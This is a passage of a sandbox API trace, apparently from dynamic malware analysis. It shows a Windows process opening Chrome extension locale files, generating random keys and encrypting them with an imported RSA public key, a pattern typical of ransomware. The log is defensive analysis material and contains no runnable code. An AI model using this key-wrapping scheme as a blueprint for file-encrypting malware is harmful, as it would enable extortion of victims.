dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1638) returned 1 [0243.196] CryptGetKeyParam (in: hKey=0x66b1638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.196] CryptEncrypt (in: hKey=0x66b1638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb4e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb4e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.197] GetLastError () returned 0x0 [0243.197] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.197] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0243.198] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659fa38) returned 1 [0243.198] CryptGetKeyParam (in: hKey=0x659fa38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.198] CryptEncrypt (in: hKey=0x659fa38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb4f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb4f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.199] GetLastError () returned 0x0 [0243.199] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.199] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.199] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.202] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.204] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.204] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.204] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.204] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.207] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.209] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.209] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.209] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.209] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.211] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0238) returned 1 [0243.211] CryptGetKeyParam (in: hKey=0x66b0238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.211] CryptEncrypt (in: hKey=0x66b0238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb500000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb500000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.211] GetLastError () returned 0x0 [0243.211] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.212] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.213] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x5a4dd8) returned 1 [0243.213] CryptGetKeyParam (in: hKey=0x5a4dd8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.213] CryptEncrypt (in: hKey=0x5a4dd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb510000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb510000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.213] GetLastError () returned 0x0 [0243.214] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.214] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.214] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.217] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.219] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.219] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.219] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.220] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.222] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.224] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.224] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.224] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.224] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.230] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b16b8) returned 1 [0243.230] CryptGetKeyParam (in: hKey=0x66b16b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.230] CryptEncrypt (in: hKey=0x66b16b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb520000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb520000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.230] GetLastError () returned 0x0 [0243.230] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.230] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.235] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659de38) returned 1 [0243.235] CryptGetKeyParam (in: hKey=0x659de38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.235] CryptEncrypt (in: hKey=0x659de38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb530000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb530000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.235] GetLastError () returned 0x0 [0243.235] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.235] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.236] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.239] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.241] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.241] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.241] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.241] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.246] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.246] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.246] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.248] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6783d88) returned 1 [0243.248] CryptGetKeyParam (in: hKey=0x6783d88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.248] CryptEncrypt (in: hKey=0x6783d88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb540000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb540000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.248] GetLastError () returned 0x0 [0243.248] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.248] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.250] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6783cc8) returned 1 [0243.250] CryptGetKeyParam (in: hKey=0x6783cc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.250] CryptEncrypt (in: hKey=0x6783cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb550000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb550000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.251] GetLastError () returned 0x0 [0243.251] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.251] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.251] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.254] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.256] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.256] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.256] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.256] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.260] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.260] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.260] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.260] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0243.266] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67838c8) returned 1 [0243.266] CryptGetKeyParam (in: hKey=0x67838c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.266] CryptEncrypt (in: hKey=0x67838c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb560000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb560000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.266] GetLastError () returned 0x0 [0243.266] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.266] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0243.268] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6783ec8) returned 1 [0243.268] CryptGetKeyParam (in: hKey=0x6783ec8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.268] CryptEncrypt (in: hKey=0x6783ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb570000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb570000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.268] GetLastError () returned 0x0 [0243.268] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.268] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.269] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0243.272] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.274] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.274] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0243.274] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.274] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0243.276] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.278] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.278] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0243.278] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.279] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0243.290] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6783988) returned 1 [0243.290] CryptGetKeyParam (in: hKey=0x6783988, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.290] CryptEncrypt (in: hKey=0x6783988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb580000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb580000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0243.290] GetLastError () returned 0x0 [0243.290] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.290] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0243.292] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6783c88) returned 1 [0243.292] CryptGetKeyParam (in: hKey=0x6783c88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0243.292] CryptEncrypt (in: hKey=0x6783c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb590000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb590000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0243.293] GetLastError () returned 0x0 [0243.293] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.293] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.293] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0243.297] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.301] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.301] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.301] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.301] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.303] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.305] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.305] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.306] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0243.308] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67839c8) returned 1 [0243.308] CryptGetKeyParam (in: hKey=0x67839c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.308] CryptEncrypt (in: hKey=0x67839c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb5a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xb5a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.308] GetLastError () returned 0x0 [0243.308] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.308] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.310] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783888) returned 1 [0243.311] CryptGetKeyParam (in: hKey=0x6783888, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.311] CryptEncrypt (in: hKey=0x6783888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb5b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xb5b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.312] GetLastError () returned 0x0 [0243.312] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.312] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.376] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.381] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.381] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.381] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.381] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0243.384] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.386] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.386] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.386] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.387] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0243.389] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6783f88) returned 1 [0243.389] CryptGetKeyParam (in: hKey=0x6783f88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0243.389] CryptEncrypt (in: hKey=0x6783f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb5c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xb5c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0243.389] GetLastError () returned 0x0 [0243.389] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) 